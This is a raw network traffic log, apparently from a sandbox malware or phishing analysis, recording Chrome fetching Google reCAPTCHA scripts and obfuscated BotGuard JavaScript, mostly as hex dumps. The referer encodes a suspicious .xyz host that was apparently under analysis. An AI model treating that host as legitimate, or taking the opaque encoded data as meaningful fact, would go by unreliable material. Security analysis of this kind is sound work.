2025-01-09 10:27:10 UTC	1390	IN	Data Raw: 4a 70 69 4c 49 50 5a 44 59 55 79 6d 72 64 6d 6a 46 35 72 45 52 51 38 4a 58 48 48 69 74 34 70 77 69 56 4d 77 69 61 33 79 59 57 4a 63 78 63 44 46 77 7a 57 56 57 59 4e 49 61 61 37 5a 47 30 75 74 78 36 53 2d 63 4d 48 50 63 6b 77 4f 41 4b 46 75 46 69 37 36 63 50 41 75 33 58 45 33 6d 69 52 42 42 36 79 78 76 61 41 79 6d 4f 77 70 74 30 6b 56 65 4c 6c 67 35 44 49 76 33 52 75 68 4a 73 56 63 4a 39 6d 32 7a 75 34 4e 2d 71 37 65 55 52 4e 6b 75 4f 61 67 5f 6e 71 77 4b 4f 65 62 6f 2d 35 6f 63 51 73 6d 54 66 5f 61 48 73 4e 67 79 33 4b 5f 56 79 4e 37 45 77 53 7a 44 56 69 46 47 35 7a 4b 70 43 5f 38 69 70 54 6e 34 63 2d 67 67 41 6b 59 77 38 42 44 38 59 4d 63 53 63 49 76 4a 70 6e 65 30 39 4b 62 5f 35 6f 36 71 70 58 36 66 69 5a 2d 5f 75 76 53 36 54 30 39 32 55 43 44 71 37 52 Data Ascii: JpiLIPZDYUymrdmjF5rERQ8JXHHit4pwiVMwia3yYWJcxcDFwzWVWYNIaa7ZG0utx6S-cMHPckwOAKFuFi76cPAu3XE3miRBB6yxvaAymOwpt0kVeLlg5DIv3RuhJsVcJ9m2zu4N-q7eURNkuOag_nqwKOebo-5ocQsmTf_aHsNgy3K_VyN7EwSzDViFG5zKpC_8ipTn4c-ggAkYw8BD8YMcScIvJpne09Kb_5o6qpX6fiZ-_uvS6T092UCDq7R
2025-01-09 10:27:10 UTC	1390	IN	Data Raw: 57 6e 4e 33 4e 30 6f 34 5a 55 70 4b 4e 30 31 71 53 57 74 78 59 30 4e 57 65 45 31 6b 52 6d 4e 69 55 54 67 35 59 6c 64 68 64 6a 56 45 4d 46 64 4e 62 45 5a 79 52 6c 56 6d 55 6b 4e 33 4e 31 6c 76 5a 31 51 77 4d 6b 56 74 62 57 31 44 56 57 5a 52 4f 47 56 56 56 7a 68 71 63 6d 31 43 61 32 38 32 64 30 5a 46 54 47 4e 5a 63 56 4a 6a 4d 45 74 50 4f 44 52 4c 5a 31 4a 46 63 55 4d 30 62 57 52 4c 4f 55 5a 4a 5a 7a 4e 32 53 48 46 53 64 6e 68 4e 5a 30 52 48 61 47 35 4c 61 57 35 73 62 6a 68 45 59 54 51 30 55 6c 64 76 61 31 56 32 61 48 52 49 63 33 5a 59 55 7a 41 30 54 31 59 32 5a 55 4e 51 61 7a 4a 34 59 6b 4e 30 52 33 4e 34 52 54 56 4e 65 6d 70 43 4d 56 42 56 52 44 46 35 4f 56 41 79 65 55 52 31 63 43 74 4d 64 45 35 61 64 44 46 35 59 6c 56 56 4c 7a 52 7a 53 45 35 51 4e 47 77 Data Ascii: WnN3N0o4ZUpKN01qSWtxY0NWeE1kRmNiUTg5YldhdjVEMFdNbEZyRlVmUkN3N1lvZ1QwMkVtbW1DVWZROGVVVzhqcm1Ca282d0ZFTGNZcVJjMEtPODRLZ1JFcUM0bWRLOUZJZzN2SHFSdnhNZ0RHaG5LaW5sbjhEYTQ0Uldva1V2aHRIc3ZYUzA0T1Y2ZUNQazJ4YkN0R3N4RTVNempCMVBVRDF5OVAyeUR1cCtMdE5adDF5YlVVLzRzSE5QNGw
2025-01-09 10:27:10 UTC	1390	IN	Data Raw: 46 36 53 6b 64 78 62 6b 70 7a 4d 54 42 55 64 45 46 53 62 6a 56 72 4e 6b 49 77 4d 6d 74 77 62 48 4e 5a 64 6d 74 79 57 45 4a 43 53 57 73 7a 4e 54 42 58 55 55 34 78 4d 6d 39 30 4f 47 68 35 57 58 6c 6d 63 6b 74 68 54 47 78 75 63 44 52 50 54 7a 56 48 4e 55 78 6c 64 45 56 49 63 6c 4e 46 52 55 30 35 4e 44 59 78 52 33 68 69 4d 55 52 70 54 55 4a 4e 54 30 4a 47 65 54 68 75 51 7a 42 69 59 58 42 7a 4e 30 4d 78 5a 6b 35 6c 51 56 5a 6e 4d 44 4e 5a 54 6a 4e 35 61 46 46 79 56 30 64 47 53 6d 46 44 55 45 6c 78 64 7a 46 78 52 6d 46 54 51 56 56 44 52 54 42 73 57 45 4d 72 4f 48 5a 77 53 6c 6c 31 54 30 52 6b 52 6d 35 47 61 48 70 58 64 58 6c 48 57 6c 52 43 4f 45 56 52 52 45 4a 57 64 44 55 35 54 6a 55 7a 56 58 5a 44 55 55 59 31 4d 32 56 72 65 46 42 74 52 33 45 30 62 33 6c 55 55 Data Ascii: F6SkdxbkpzMTBUdEFSbjVrNkIwMmtwbHNZdmtyWEJCSWszNTBXUU4xMm90OGh5WXlmckthTGxucDRPTzVHNUxldEVIclNFRU05NDYxR3hiMURpTUJNT0JGeThuQzBiYXBzN0MxZk5lQVZnMDNZTjN5aFFyV0dGSmFDUElxdzFxRmFTQVVDRTBsWEMrOHZwSll1T0RkRm5GaHpXdXlHWlRCOEVRREJWdDU5TjUzVXZDUUY1M2VreFBtR3E0b3lUU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	61290	216.58.212.164	443	5504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 10:27:12 UTC	848	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lep6bEqAAAAAJP5JtQMavf7sZc2r_zYev_mtHp5&co=aHR0cHM6Ly8wbmxpbmUxLncyMTJzLnh5ejo0NDM.&hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS&size=normal&cb=vs2hjyypa6wq Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 10:27:12 UTC	917	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Expires: Thu, 09 Jan 2025 10:27:12 GMT Date: Thu, 09 Jan 2025 10:27:12 GMT Cache-Control: private, max-age=300 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Cross-Origin-Resource-Policy: same-site Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-09 10:27:12 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 52 54 62 45 6f 38 5f 61 57 4f 76 4c 62 6a 47 75 6f 41 38 48 6a 32 6f 53 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/RTbEo8_aWOvLbjGuoA8Hj2oS/recaptcha__en.js');
2025-01-09 10:27:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	61291	216.58.212.164	443	5504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 10:27:12 UTC	836	OUT	GET /js/bg/GaYUpI3TM2ZeJrJuY6shdNLJBEVQZd83XqI1ZKo9ZSY.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lep6bEqAAAAAJP5JtQMavf7sZc2r_zYev_mtHp5&co=aHR0cHM6Ly8wbmxpbmUxLncyMTJzLnh5ejo0NDM.&hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS&size=normal&cb=vs2hjyypa6wq Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 10:27:12 UTC	812	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18920 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 07 Jan 2025 09:14:58 GMT Expires: Wed, 07 Jan 2026 09:14:58 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 02 Dec 2024 19:00:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 177134 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-09 10:27:12 UTC	578	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 50 3d 66 75 6e 63 74 69 6f 6e 28 48 29 7b 72 65 74 75 72 6e 20 48 7d 2c 75 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 29 7b 69 66 28 28 72 3d 28 48 3d 6e 75 6c 6c 2c 75 29 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 21 72 29 7c 7c 21 72 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 48 3b 74 72 79 7b 48 3d 72 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var P=function(H){return H},u=this\|\|self,x=function(H,r){if((r=(H=null,u).trustedTypes,!r)\|\|!r.createPolicy)return H;try{H=r.createPolicy("bg",{createHTM
2025-01-09 10:27:12 UTC	1390	IN	Data Raw: 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 67 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 2c 79 2c 75 2c 47 2c 44 29 7b 69 66 28 21 63 2e 47 43 26 26 28 75 3d 76 6f 69 64 20 30 2c 72 26 26 72 5b 30 5d 3d 3d 3d 43 26 26 28 48 3d 72 5b 31 5d 2c 75 3d 72 5b 32 5d 2c 72 3d 76 6f 69 64 20 30 29 2c 79 3d 6b 28 63 2c 38 34 29 2c 79 2e 6c 65 6e 67 74 68 3d 3d 30 26 26 28 78 3d 6b 28 63 2c 39 30 29 3e 3e 33 2c 79 2e 70 75 73 68 28 48 2c 78 3e 3e 38 26 32 35 35 2c 78 26 32 35 35 29 2c 75 21 3d 76 6f 69 64 20 30 26 26 79 2e 70 75 73 68 28 75 26 32 35 35 29 29 2c 48 3d 22 22 2c 72 26 26 28 72 2e 6d 65 73 73 61 67 65 26 26 28 48 2b 3d 72 2e 6d 65 73 73 61 67 65 29 Data Ascii: DX-License-Identifier: Apache-2.0','*/','var g=function(H,r,c,x,y,u,G,D){if(!c.GC&&(u=void 0,r&&r[0]===C&&(H=r[1],u=r[2],r=void 0),y=k(c,84),y.length==0&&(x=k(c,90)>>3,y.push(H,x>>8&255,x&255),u!=void 0&&y.push(u&255)),H="",r&&(r.message&&(H+=r.message)
2025-01-09 10:27:12 UTC	1390	IN	Data Raw: 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 48 2e 63 61 6c 6c 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3b 72 65 74 75 72 6e 20 63 7d 2c 79 68 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 29 7b 72 65 74 75 72 6e 20 6b 28 48 2c 28 76 28 34 36 38 2c 28 78 50 28 48 2c 28 28 78 3d 6b 28 48 2c 34 36 38 29 2c 48 29 2e 75 26 26 78 3c 48 2e 4e 3f 28 76 28 34 36 38 2c 48 2c 48 2e 4e 29 2c 6a 4a 28 48 2c 63 29 29 3a 76 28 34 36 38 2c 48 2c 63 29 2c 72 29 29 2c 48 29 2c 78 29 2c 34 38 29 29 7d 2c 49 3d 66 75 6e 63 74 69 6f 6e 28 48 29 7b 72 65 74 75 72 6e 20 48 2e 56 3f 42 24 28 48 2e 6f 2c 48 29 3a 71 28 74 72 75 65 2c 48 2c 38 29 7d 2c 77 3d 7b 70 61 73 73 69 76 65 3a 74 72 75 65 2c 63 61 70 74 75 Data Ascii: =="function"&&typeof H.call=="undefined")return"object";return c},yh=function(H,r,c,x){return k(H,(v(468,(xP(H,((x=k(H,468),H).u&&x<H.N?(v(468,H,H.N),jJ(H,c)):v(468,H,c),r)),H),x),48))},I=function(H){return H.V?B$(H.o,H):q(true,H,8)},w={passive:true,captu
2025-01-09 10:27:12 UTC	1390	IN	Data Raw: 48 5d 7c 7c 28 72 2e 4a 5b 48 5d 3d 6e 6e 28 31 31 38 2c 72 2c 63 2c 48 29 29 3a 72 2e 4a 5b 48 5d 3d 6e 6e 28 31 35 33 2c 72 2c 63 2c 48 29 7d 48 3d 3d 31 35 30 26 26 28 72 2e 48 3d 71 28 66 61 6c 73 65 2c 72 2c 33 32 29 2c 72 2e 76 3d 76 6f 69 64 20 30 29 7d 2c 6e 6e 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 2c 79 2c 75 2c 47 2c 44 29 7b 72 65 74 75 72 6e 28 47 3d 58 5b 28 44 3d 28 79 3d 5a 61 2c 48 26 37 29 2c 63 3d 5b 2d 37 30 2c 2d 36 34 2c 2d 35 31 2c 2d 31 30 30 2c 34 2c 2d 36 35 2c 63 2c 31 34 2c 33 30 2c 38 31 5d 2c 72 29 2e 53 5d 28 72 2e 48 74 29 2c 47 29 5b 72 2e 53 5d 3d 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 44 2b 3d 36 2b 37 2a 48 2c 44 26 3d 28 75 3d 5a 2c 37 29 7d 2c 47 2e 63 6f 6e 63 61 74 3d 66 75 6e 63 74 69 6f 6e 28 5a 29 7b 72 Data Ascii: H]\|\|(r.J[H]=nn(118,r,c,H)):r.J[H]=nn(153,r,c,H)}H==150&&(r.H=q(false,r,32),r.v=void 0)},nn=function(H,r,c,x,y,u,G,D){return(G=X[(D=(y=Za,H&7),c=[-70,-64,-51,-100,4,-65,c,14,30,81],r).S](r.Ht),G)[r.S]=function(Z){D+=6+7*H,D&=(u=Z,7)},G.concat=function(Z){r
2025-01-09 10:27:12 UTC	1390	IN	Data Raw: 2c 72 5d 3b 69 66 28 48 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 48 2e 63 72 65 61 74 65 28 29 3b 72 65 74 75 72 6e 20 48 2e 63 72 65 61 74 65 28 72 2a 34 2a 72 2b 2d 36 34 2a 72 2b 36 29 2c 48 2e 70 72 6f 74 6f 74 79 70 65 7d 2c 46 34 3d 66 75 6e 63 74 69 6f 6e 28 48 29 7b 72 65 74 75 72 6e 20 48 7d 2c 66 6e 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 2c 79 29 7b 28 79 3d 6b 28 48 2c 28 79 3d 28 72 26 3d 28 63 3d 72 26 34 2c 33 29 2c 4d 28 48 29 29 2c 78 3d 4d 28 48 29 2c 79 29 29 2c 63 26 26 28 79 3d 69 36 28 22 22 2b 79 29 29 2c 72 29 26 26 6e 28 78 2c 48 2c 64 28 79 2e 6c 65 6e 67 74 68 2c 32 29 29 2c 6e 28 78 2c 48 2c 79 29 7d 2c 41 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 29 7b 48 2e 57 2e 73 70 6c 69 63 65 28 30 2c 30 2c 72 29 7d 2c 69 36 3d Data Ascii: ,r];if(H.value)return H.create();return H.create(r4r+-64*r+6),H.prototype},F4=function(H){return H},fn=function(H,r,c,x,y){(y=k(H,(y=(r&=(c=r&4,3),M(H)),x=M(H),y)),c&&(y=i6(""+y)),r)&&n(x,H,d(y.length,2)),n(x,H,y)},A=function(H,r){H.W.splice(0,0,r)},i6=
2025-01-09 10:27:12 UTC	1390	IN	Data Raw: 61 72 74 7c 7c 30 2c 47 26 26 47 2e 6c 65 6e 67 74 68 3d 3d 32 26 26 28 75 2e 73 38 3d 47 5b 30 5d 2c 75 2e 79 45 3d 47 5b 31 5d 29 2c 48 29 74 72 79 7b 75 2e 68 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 48 29 7d 63 61 74 63 68 28 50 29 7b 75 2e 68 3d 7b 7d 7d 65 28 74 72 75 65 2c 21 28 41 28 75 2c 28 41 28 75 2c 28 41 28 75 2c 28 76 28 31 36 37 2c 28 54 28 32 35 39 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 42 2c 4e 2c 4b 29 7b 76 28 28 4b 3d 6b 28 50 2c 28 42 3d 6b 28 50 2c 28 4e 3d 28 4b 3d 28 42 3d 4d 28 50 29 2c 4d 29 28 50 29 2c 4d 28 50 29 29 2c 42 29 29 2c 4b 29 29 2c 4e 29 2c 50 2c 42 5b 4b 5d 29 7d 2c 28 54 28 28 54 28 34 32 34 2c 28 54 28 34 37 31 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 42 29 7b 28 50 3d 28 42 3d 4d 28 50 29 2c 6b 28 50 2e 69 2c 42 29 29 2c 50 Data Ascii: art\|\|0,G&&G.length==2&&(u.s8=G[0],u.yE=G[1]),H)try{u.h=JSON.parse(H)}catch(P){u.h={}}e(true,!(A(u,(A(u,(A(u,(v(167,(T(259,function(P,B,N,K){v((K=k(P,(B=k(P,(N=(K=(B=M(P),M)(P),M(P)),B)),K)),N),P,B[K])},(T((T(424,(T(471,function(P,B){(P=(B=M(P),k(P.i,B)),P
2025-01-09 10:27:12 UTC	1390	IN	Data Raw: 3d 6b 28 50 2c 53 29 2c 6b 29 28 50 2c 42 29 2c 6b 28 50 2e 69 2c 4b 29 29 2c 4b 21 3d 3d 30 29 26 26 28 42 3d 49 48 28 31 2c 53 2c 50 2c 42 2c 4b 2c 4e 29 2c 4b 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 4e 2c 42 2c 77 29 2c 76 28 31 33 32 2c 50 2c 5b 4b 2c 4e 2c 42 5d 29 29 7d 29 2c 75 29 2c 30 29 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 42 2c 4e 2c 4b 29 7b 28 4b 3d 28 42 3d 28 4e 3d 28 4b 3d 28 42 3d 4d 28 50 29 2c 4d 28 50 29 29 2c 4d 28 50 29 29 2c 6b 28 50 2c 42 29 29 2c 6b 28 50 2c 4b 29 29 2c 76 29 28 4e 2c 50 2c 2b 28 42 3d 3d 4b 29 29 7d 29 2c 75 29 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 42 2c 4e 29 7b 76 28 28 4e 3d 28 42 3d 4d 28 50 29 2c 4d 28 50 29 29 2c 4e 29 2c 50 2c 22 22 2b 6b 28 50 2c 42 29 29 7d 29 2c 75 29 2c 66 75 6e 63 74 69 6f Data Ascii: =k(P,S),k)(P,B),k(P.i,K)),K!==0)&&(B=IH(1,S,P,B,K,N),K.addEventListener(N,B,w),v(132,P,[K,N,B]))}),u),0),function(P,B,N,K){(K=(B=(N=(K=(B=M(P),M(P)),M(P)),k(P,B)),k(P,K)),v)(N,P,+(B==K))}),u),function(P,B,N){v((N=(B=M(P),M(P)),N),P,""+k(P,B))}),u),functio
2025-01-09 10:27:12 UTC	1390	IN	Data Raw: 2c 50 29 29 2c 76 28 42 2c 50 2c 6b 28 50 2c 4e 29 7c 7c 6b 28 50 2c 4b 29 29 7d 2c 75 29 2c 75 29 29 2c 6c 28 34 29 29 29 2c 75 29 29 2c 76 29 28 34 38 2c 75 2c 7b 7d 29 2c 75 29 2c 5b 5d 29 2c 75 29 2c 5b 5d 29 2c 75 29 29 2c 54 29 28 32 30 33 2c 66 75 6e 63 74 69 6f 6e 28 50 2c 42 2c 4e 2c 4b 2c 53 2c 45 2c 66 2c 4a 2c 62 2c 61 2c 56 2c 4c 29 7b 66 75 6e 63 74 69 6f 6e 20 46 28 70 2c 59 29 7b 66 6f 72 28 3b 62 3c 70 3b 29 4b 7c 3d 49 28 50 29 3c 3c 62 2c 62 2b 3d 38 3b 72 65 74 75 72 6e 20 4b 3e 3e 3d 28 59 3d 28 62 2d 3d 70 2c 4b 26 28 31 3c 3c 70 29 2d 31 29 2c 70 29 2c 59 7d 66 6f 72 28 56 3d 28 53 3d 45 3d 28 42 3d 28 61 3d 28 28 4b 3d 28 66 3d 4d 28 50 29 2c 62 3d 30 29 2c 46 28 33 29 29 7c 30 29 2b 31 2c 46 29 28 35 29 2c 30 29 2c 5b 5d 29 3b 45 Data Ascii: ,P)),v(B,P,k(P,N)\|\|k(P,K))},u),u)),l(4))),u)),v)(48,u,{}),u),[]),u),[]),u)),T)(203,function(P,B,N,K,S,E,f,J,b,a,V,L){function F(p,Y){for(;b<p;)K\|=I(P)<<b,b+=8;return K>>=(Y=(b-=p,K&(1<<p)-1),p),Y}for(V=(S=E=(B=(a=((K=(f=M(P),b=0),F(3))\|0)+1,F)(5),0),[]);E
2025-01-09 10:27:12 UTC	1390	IN	Data Raw: 2e 4a 4c 2e 70 75 73 68 28 78 3c 3d 32 35 34 3f 78 3a 32 35 34 29 29 7d 66 69 6e 61 6c 6c 79 7b 63 2e 4b 3d 66 61 6c 73 65 7d 72 65 74 75 72 6e 20 75 7d 7d 2c 68 57 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 29 7b 72 65 74 75 72 6e 20 72 2e 6c 24 28 66 75 6e 63 74 69 6f 6e 28 78 29 7b 63 3d 78 7d 2c 66 61 6c 73 65 2c 48 29 2c 63 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 29 7b 28 76 28 48 2c 63 2c 72 29 2c 72 29 5b 77 63 5d 3d 32 37 39 36 7d 2c 78 50 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 2c 79 2c 75 29 7b 69 66 28 21 48 2e 49 29 7b 48 2e 50 2b 2b 3b 74 72 79 7b 66 6f 72 28 79 3d 28 78 3d 28 63 3d 48 2e 4e 2c 30 29 2c 76 6f 69 64 20 30 29 3b 2d 2d 72 3b 29 74 72 79 7b 69 66 28 75 3d 76 6f 69 64 20 30 2c 48 2e 56 29 79 3d 42 24 28 Data Ascii: .JL.push(x<=254?x:254))}finally{c.K=false}return u}},hW=function(H,r,c){return r.l$(function(x){c=x},false,H),c},T=function(H,r,c){(v(H,c,r),r)[wc]=2796},xP=function(H,r,c,x,y,u){if(!H.I){H.P++;try{for(y=(x=(c=H.N,0),void 0);--r;)try{if(u=void 0,H.V)y=B$(
2025-01-09 10:27:12 UTC	1390	IN	Data Raw: 48 5b 28 72 7c 30 29 2b 31 5d 3c 3c 31 36 7c 48 5b 28 72 7c 30 29 2b 32 5d 3c 3c 38 7c 48 5b 28 72 7c 30 29 2b 33 5d 7d 2c 4a 57 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 29 7b 72 65 74 75 72 6e 28 72 3d 49 28 48 29 2c 72 26 31 32 38 29 26 26 28 72 3d 72 26 31 32 37 7c 49 28 48 29 3c 3c 37 29 2c 72 7d 2c 4c 6e 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 3c 48 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 66 61 6c 73 65 2c 76 61 6c 75 65 3a 48 5b 72 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 74 72 75 65 7d 7d 7d 2c 52 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 72 2c 63 2c 78 29 7b 66 6f 72 28 63 3d 28 78 3d 28 72 7c 30 29 2d 31 2c 5b 5d 29 3b 78 3e 3d 30 3b 78 2d 2d 29 63 5b 28 72 7c Data Ascii: H[(r\|0)+1]<<16\|H[(r\|0)+2]<<8\|H[(r\|0)+3]},JW=function(H,r){return(r=I(H),r&128)&&(r=r&127\|I(H)<<7),r},Ln=function(H,r){return r=0,function(){return r<H.length?{done:false,value:H[r++]}:{done:true}}},R,d=function(H,r,c,x){for(c=(x=(r\|0)-1,[]);x>=0;x--)c[(r\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	61300	142.250.185.196	443	5504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 10:27:13 UTC	495	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 10:27:14 UTC	917	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Report-To: {"group":"coop_38fac9d5b82543fc4729580d18ff2d3d","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/38fac9d5b82543fc4729580d18ff2d3d"}]} Expires: Thu, 09 Jan 2025 10:27:13 GMT Date: Thu, 09 Jan 2025 10:27:13 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_38fac9d5b82543fc4729580d18ff2d3d" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-09 10:27:14 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 52 54 62 45 6f 38 5f 61 57 4f 76 4c 62 6a 47 75 6f 41 38 48 6a 32 6f 53 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/RTbEo8_aWOvLbjGuoA8Hj2oS/recaptcha__en.js');
2025-01-09 10:27:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	61301	142.250.185.196	443	5504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
